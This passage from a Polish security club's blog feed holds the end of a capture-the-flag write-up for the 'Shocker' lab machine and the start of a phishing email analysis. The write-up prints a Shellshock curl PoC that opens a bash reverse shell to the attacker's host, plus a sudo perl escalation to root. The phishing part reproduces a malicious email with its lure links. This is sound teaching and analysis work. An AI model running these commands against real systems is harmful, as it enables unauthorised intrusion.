&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">/usr/share/nmap/scripts/http-shellshock.nse
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="gp">$&lt;/span> nmap -p &lt;span class="m">80&lt;/span> --script http-shellshock --script-args &lt;span class="nv">uri&lt;/span>&lt;span class="o">=&lt;/span>/cgi-bin/user.sh 10.10.10.56
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Starting Nmap 7.91 ( https://nmap.org ) at 2021-xx-xx xx:xx EDT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Nmap scan report for 10.10.10.56
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Host is up (0.13s latency).
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">PORT STATE SERVICE
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">80/tcp open http
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| http-shellshock:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| VULNERABLE:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| HTTP Shellshock vulnerability
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| State: VULNERABLE (Exploitable)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| IDs: CVE:CVE-2014-6271
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| This web application might be affected by the vulnerability known
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| as Shellshock. It seems the server is executing commands injected
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| via malicious HTTP headers.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">|
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| Disclosure date: 2014-09-24
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| References:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| http://www.openwall.com/lists/oss-security/2014/09/24/10
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">|_ http://seclists.org/oss-sec/2014/q3/685
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Jak wykazał skrypt - maszyna jest podatna.&lt;/p>
&lt;h3>Shellshock - wykorzystanie podatności&lt;span class="hx:absolute hx:-mt-20" id="shellshock---wykorzystanie-podatności">&lt;/span>
&lt;a href="#shellshock---wykorzystanie-podatno%c5%9bci" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Najprostszą metodą eksploitacji będzie stworzenie &lt;em>reverse shella&lt;/em> z wykorzystaniem narzędzia &lt;code>curl&lt;/code>.&lt;/p>
&lt;p>Kod reverse shella:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">/bin/bash -i &amp;gt;&lt;span class="p">&amp;amp;&lt;/span> /dev/tcp/10.10.14.xx/4242 0&amp;gt;&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="m">1&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Nasz własny kod umieszczamy np w nagłówku &lt;code>User-Agent&lt;/code>. Ostateczny PoC exploita:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>curl -H &amp;#39;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.xx.xx/4242 0&amp;gt;&amp;amp;1&amp;#39; http://10.10.10.56/cgi-bin/user.sh&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Po stworzeniu nasłuchu (ang. &lt;em>listener&lt;/em>) z wykorzystaniem polecenia &lt;code>nc -lvnp 4242&lt;/code> i wykonaniu PoCa, ukazuje się konsola użytkownika &lt;code>shelly&lt;/code>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> nc -lvnp &lt;span class="m">4242&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">listening on [any] 4242 ...
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.56] 45620
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">bash: no job control in this shell
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">shelly@Shocker:/usr/lib/cgi-bin$ whoami
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">whoami
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">shelly
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">shelly@Shocker:/usr/lib/cgi-bin$
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Wykorzystując proste polecenie &lt;code>find&lt;/code>, możemy znaleźć pierwszy z dwóch poszukiwanych kluczy:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">shelly@Shocker:/usr/lib/cgi-bin$ find / -iname &amp;#34;user.txt&amp;#34; 2&amp;gt;/dev/null
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">/home/shelly/user.txt
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h3>Eskalacja uprawnień&lt;span class="hx:absolute hx:-mt-20" id="eskalacja-uprawnień">&lt;/span>
&lt;a href="#eskalacja-uprawnie%c5%84" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Pierwsza rzecz jaką sprawdzam próbując eskalować pionowo uprawnienia, jest weryfikacja, czy użytkownik może wykonywać jakiekolwiek polecenia z wykorzystaniem &lt;code>sudo&lt;/code> bez hasła. W tym przypadku mamy dostęp do interpretera języka perl:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">sudo -l
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Matching Defaults entries for shelly on Shocker:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> env_reset, mail_badpass,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">User shelly may run the following commands on Shocker:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> (root) NOPASSWD: /usr/bin/perl
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Wykonujemy proste polecenie tworzące powłokę &lt;code>bash&lt;/code> i uzyskujemy dostęp do roota:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">shelly@Shocker:/$ sudo /usr/bin/perl -e &amp;#39;exec &amp;#34;/bin/bash&amp;#34;;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">sudo /usr/bin/perl -e &amp;#39;exec &amp;#34;/bin/bash&amp;#34;;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">whoami
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">root
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W podobny sposób jak w przypadku pliku &lt;code>user.txt&lt;/code>, wyszukujemy &lt;code>root.txt&lt;/code> i uzyskujemy drugi klucz boxa.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">find / -iname &amp;#34;root.txt&amp;#34; 2&amp;gt;/dev/null
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">/root/root.txt
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div></description></item><item><title>Analiza phishingu</title><link>https://whitehats.pwr.edu.pl/blog/2021-05-13-wp-phishing/</link><pubDate>Thu, 13 May 2021 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2021-05-13-wp-phishing/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2021-05-13-wp-phishing/tlo_hu_e9f564ca10bae0b0.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;h2>Wstęp&lt;span class="hx:absolute hx:-mt-20" id="wstęp">&lt;/span>
&lt;a href="#wst%c4%99p" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Wpis ten powstał przy okazji niedawnej kampanii phishingowej na użytkowników poczty w portalu Wirtualna Polska. Otrzymaliśmy informację o podejrzanym mailu od jednego z naszych czytelników, więc postanowiliśmy się temu przyjrzeć z bliska i przedstawić naszą analizę.&lt;/p>
&lt;h2>Rozpoznanie&lt;span class="hx:absolute hx:-mt-20" id="rozpoznanie">&lt;/span>
&lt;a href="#rozpoznanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Na początku postanowiliśmy się ogólnie przyjrzeć otrzymanej wiadomości - sprawdzić jej treść i stylistykę. Sama zawartość przypomina typowy zabieg socjotechniczny, w którym atakujący próbują przestraszyć ofiarę, że ktoś uzyskał nieautoryzowany dostęp do ich danych i mógł zrobić coś złego. Przestępcy liczą na fakt, że chęć poznania tego, co zostało zrobione w ich imieniu, będzie silniejsza niż spokojna analiza.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./mail-wp.png" alt="Mail phishingowy">
&lt;/figure>
&lt;p>Drugą rzeczą na którą zwróciliśmy uwagę, był adres nadawcy. Chcieliśmy dowiedzieć się kto go wysłał, czy jest to prawdziwy mail od Wirtualnej Polski, czy adres mailowy został przechwycony przez przestępców, czy może jednak został on podmieniony.&lt;/p>
&lt;h2>Poszukiwania&lt;span class="hx:absolute hx:-mt-20" id="poszukiwania">&lt;/span>
&lt;a href="#poszukiwania" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Swoje poszukiwania zaczęliśmy od sprawdzenia całej surowej zawartości maila (łącznie z nagłówkami).&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>MIME-Version: 1.0
Date: Thu, 6 May 2021 21:09:04 &amp;#43;0200
From: WP - Alert &amp;lt;info@mail.email-myst.warszawa.pl&amp;gt;
Subject: =?utf-8?Q?Kto=C5=9B_w=C5=82ama=C5=82_si=C4=99_na_Twoje_konto!?=
Thread-Topic:
=?utf-8?Q?Kto=C5=9B_w=C5=82ama=C5=82_si=C4=99_na_Twoje_konto!?=
To: &amp;#34;email@email.com&amp;#34; &amp;lt;email@email.com&amp;gt;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=&amp;#34;utf-8&amp;#34;
&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;
&amp;lt;META http-equiv=3D&amp;#34;Content-Type&amp;#34; content=3D&amp;#34;text/html; charset=3Dutf-8&amp;#34;&amp;gt;
&amp;lt;/HEAD&amp;gt;
&amp;lt;BODY bgColor=3D#ffffff&amp;gt;
&amp;lt;DIV&amp;gt;&amp;lt;FONT face=3DArial&amp;gt;&amp;lt;IMG border=3D0 hspace=3D0 alt=3D&amp;#34;&amp;#34;=20
src=3D&amp;#34;https://imgpile.com/images/7ZYVmi.png&amp;#34;&amp;gt;&amp;lt;/FONT&amp;gt;&amp;lt;/DIV&amp;gt;
&amp;lt;DIV&amp;gt;&amp;amp;nbsp;&amp;lt;/DIV&amp;gt;
&amp;lt;DIV&amp;gt;&amp;lt;FONT face=3DArial&amp;gt;Osoby niepowo=C5=82ane mog=C5=82y pozna=C4=87 has=
=C5=82o do Twojej poczty,=20
poniewa=C5=BC z Twojego adresu wysy=C5=82ane s=C4=85 niechciane wiadomo=C5=
=9Bci z zagranicznych=20
IP.&amp;lt;/FONT&amp;gt;&amp;lt;/DIV&amp;gt;
&amp;lt;DIV&amp;gt;&amp;lt;FONT face=3DArial&amp;gt;&amp;lt;/FONT&amp;gt;&amp;amp;nbsp;&amp;lt;/DIV&amp;gt;
&amp;lt;DIV align=3Dcenter&amp;gt;&amp;lt;A href=3D&amp;#34;https://bit.ly/3uqwab0&amp;#34;&amp;gt;&amp;lt;IMG border=3D0 hspa=
ce=3D0 alt=3D&amp;#34;&amp;#34;=20
src=3D&amp;#34;https://imgpile.com/images/7ZY8bF.png&amp;#34;&amp;gt;&amp;lt;/A&amp;gt;&amp;lt;/DIV&amp;gt;
&amp;lt;DIV align=3Dcenter&amp;gt;&amp;lt;FONT face=3DArial&amp;gt;&amp;lt;A=20
href=3D&amp;#34;https://antyspam-poczta.us/wirtualna-polska&amp;#34;&amp;gt;&amp;lt;IMG border=3D0 hspace=
=3D0 alt=3D&amp;#34;&amp;#34;=20
src=3D&amp;#34;&amp;#34; width=3D0 height=3D0&amp;gt;&amp;lt;/A&amp;gt;&amp;lt;/FONT&amp;gt;&amp;lt;/DIV&amp;gt;
&amp;lt;DIV&amp;gt;&amp;lt;FONT face=3DArial&amp;gt;&amp;lt;/FONT&amp;gt;&amp;amp;nbsp;&amp;lt;/DIV&amp;gt;
&amp;lt;DIV&amp;gt;&amp;lt;FONT face=3DArial&amp;gt;Pozdrawiamy!&amp;lt;/FONT&amp;gt;&amp;lt;/DIV&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>{: .notice&amp;ndash;info}
Przykładowy sposób uzyskania takiej formy wiadomości w serwisie Gmail przedstawiono &lt;a href="https://support.google.com/mail/answer/29436?hl=en"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>Zaciekawił nas zawarty w treści link &lt;code>antyspam-poczta[.]us&lt;/code>. Wirtualna Polska jest polskim serwisem, więc dlaczego strona jest zarejestrowana w domenie &lt;code>.us&lt;/code>? Coś tutaj się nie zgadzało.&lt;/p>
&lt;p>Sprawdziliśmy ten adres na platformie VirusTotal, lecz tylko 1 silnik wykrył go jako potencjalnie szkodliwy - niezbyt dużo informacji. Weszliśmy w zakładkę szczegóły i przejrzeliśmy dane z części &lt;code>Whois Lookup&lt;/code>. Znaleźliśmy tam m.in. adres kontaktowy i datę utworzenia:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>Admin Email: 13a845c59b3c9b31s@yandex[.]ru
Creation Date: 2021-05-06T17:07:37Z&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Pierwsze trafienie - email zarejestrowany w rosyjskiej domenie.
Dodatkowo zerknęliśmy na szczegóły certyfikatu w portalu &lt;a href="https://crt.sh/?q=antyspam-poczta.us"target="_blank" rel="noopener">crt.sh&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>Issuer: (CA ID: 183267)
commonName = R3
organizationName = Let&amp;#39;s Encrypt
countryName = US
Validity
Not Before: May 6 16:53:07 2021 GMT
Not After : Aug 4 16:53:07 2021 GMT
Subject:
commonName = antyspam-poczta.us&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
